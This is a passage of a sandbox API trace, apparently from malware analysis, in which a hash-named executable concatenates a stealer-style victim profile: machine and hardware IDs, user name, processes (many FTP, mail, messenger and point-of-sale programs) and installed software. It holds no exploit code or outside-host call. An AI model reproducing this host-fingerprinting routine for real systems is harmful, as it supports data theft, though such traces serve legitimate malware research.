creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001"
[0054.974] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe 